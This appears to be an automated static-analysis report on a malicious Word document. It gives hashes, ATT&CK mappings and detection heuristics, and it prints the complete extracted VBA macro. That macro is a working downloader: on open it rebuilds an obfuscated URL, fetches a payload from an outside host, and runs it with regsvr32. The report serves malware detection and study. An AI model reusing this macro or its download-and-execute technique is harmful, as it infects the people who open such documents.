Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d5e5ecf494577eac…

MALICIOUS

Office (OOXML)

72.6 KB Created: 2020-05-28 09:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-25
MD5: 3854b198c1c6dbbdd8f87ea6fcd48006 SHA-1: 296f305e48006bd19ec2799585aad63f8ab0b671 SHA-256: d5e5ecf494577eac1d742407c253ee07527d0b4b94c8d2651b8ae033ed2c3cb7
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro. This macro utilizes the URLDownloadToFile function to download a payload from a constructed URL. The constructed URL is 'http://s6oatgmtceep8on.com/urvave/cenn.php?l=haa1o.c'. This indicates the document is designed to act as a downloader for further malicious activity.

Heuristics 5

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5932 bytes
SHA-256: 5f947108db99663887e62a4986cc38a01ac427b06684071160484265c86dd0da
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "s"
Function H()

' Note harbour
' Clone delinquent
' Cool
' Keith poole easter teeth discovers jaded
' Jacob defer ailed blackberry
' Index evaluate

' Gusto unintentional barrister
' Arrange twenty-eighth chalice triple boost thereby
' Warranties provincial riding

' Wheel diphtheria
' Cabriolet smoker dialects frequently
' Impolite

' Churn late indicates driven
' Old-time tree sensors
' Lusitania prerogative idyllic

' Rajah annul

' Sms earldom ostrich
' Currants whom eliminate spilt
' Mix

' Ef pinafore deaden okay
' Cops range blaspheme movement clip
' Scurrilous crete brushing

' Getting agricultural

' Trustee battleship shameless
End Function
Function k()

' Unsigned guests
' Equipped switched dived wren imagination
' Upgrading 12mo porno
' Capability alignment testator
Dim arr(8) As String
' Impersonal lottery
' Register smoothness jaundice saw unforeseen
arr(0) = "h100%t100%t100%p100%:100%/100%/100%s100%6100%o100%o100%5100%a100%t100%d100%g100%m100%t100%c100%e100%e100%p100%8100%o100%n100%.10"
' Supporting cork burdensome
' Effort enjoyable protecting
' Crayon two
' Extending adm. adaptation begat homework
' Validity af mineral
arr(1) = "0%c100%o100%m100%/100%u100%r100%v100%a100%v100%e100%/100%c100%e100%n100%n100%c100%.100%p100%h100%p100%?100%l100%=100%h100%a100%a"
' Criteria
' Ineffable much hottentot cluster tour
' Widescreen believes unpretentious dive
' Landing regards
arr(2) = "100%o100%1100%.100%c100%a100%b100%=100%=100%=100%=100%=100%c100%:100%\100%p100%r100%o100%g100%r100%a100%m100%d100%a100%t100%a100"
' Voluptuousness chronicle copyrighted junior
' Card attractive boom
' Panasonic though idyllic cargo cj
arr(3) = "%\100%7100%0100%2100%4100%5100%2100%9100%6100%.100%d100%a100%t100%"

' Testator graphical baton
' Pater fighting weight oftentimes
k = arr
End Function
Function Ej(M4, f2)
FK = k

' Bridget bandit
' Deck documents coalesce
iv = Join(FK, "")

' Tinkling array
' Motherly bunk zones intimate
' Epic
' Kodak modelling number
' Regional
iv = Replace(iv, M4, "")

' Stoned fairfield trollope
' Lincolnshire looksmart tiffany
' Inimitable coercion ira caribbean
' Producer stitch
' Movers apricot rebecca ascribe
' Unmarked
FK = Split(iv, "=====")

' Ungenerous wooden dusting reappearance mainland
' Workers ocean ibm subsidiary
' Trailer systems rifled mercurial parasite
' Vermilion peacock
Select Case f2
Case 0
Ej = FK(0)
Case 1
Ej = FK(1)
Case Else
Debug.Print "iv"
End Select
End Function
Sub AutoOpen()

' Configure foundations impious spider
' Outrun guernsey recall
' Dose buckle dependent
Dim zG As New C

' Jamaica
' Censorship locate urge
' Porcelain discount dis mesh coat
' Brothel real kathleen za
' Bankrupt investigation nigeria
zG.t Ej("100%", 0), Ej("100%", 1)

' Crop versus hottentot editor frequencies
' Lewis uruguay relax aye
' Charles grenada
' Nimble atrium
Dim ua As New r7

' Cd
' Filthiness intrust
' Tipsy
' Zigzag postmaster foundry chains
' Biological happiness
' Frog shameless facility

' Gymnastic slothful effusion insincere
' Secretariat distinguished abominably
' Loftiness antigua painstaking entries

' Outweigh
' Lows mississippi nails brackish mali
' Plug palate worship asks

' Forecast captious
' Reaching
Call ua.be("regsvr" & 32 & " " & Ej("100%", 1))
End Sub

Attribute VB_Name = "C"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Handjobs
' Jokes screen
' Relaxing turbid summit abdicate user demonstrates burdensome
' Versification patricia
' Gibraltar bountiful durability dyke goths pestilent accelerate
End Sub
Private Sub Class_Terminate()

' Fifty-six
' Classic orange solid
' Assessment
' Exemplar
End Sub
Public Sub t(BM, hQ)

' Deaf mon folders
' United
' Batch

' Mole jessica accede
' Metres
' Orgy rule element miller
' Yards coronation toilet let book styles
URLDownloadToFile 0, BM, hQ, 0, 0
End Sub

Attribute VB_Name = "r7"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function be(Au)

' Autocracy specialty
' Bachelor decoy feign passengers
' Ofries bat elimination authorization consumption trumps
' Veal burglary managed kim
' Houseless
' Discussions montenegro inscribe dive shant
Dim eL As New WshShell
eL.exec Au
End Function
Function E(F9)
    
' Indicates intersection reunion algorithms addition
' Reviewed
' Canister oz recapitulate juice
' Touchstone facts triangular hinge
' Straighten cognizance drain robot very
' Realistic meta rows

' Ads mote ka
' Tho beacon coast
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: de5bb96d08d23f70b1f49e7d98b31e0d72e62d603ad4b660d374d0f27e0f6025

Open this report in the interactive analyzer, or submit your own file for analysis.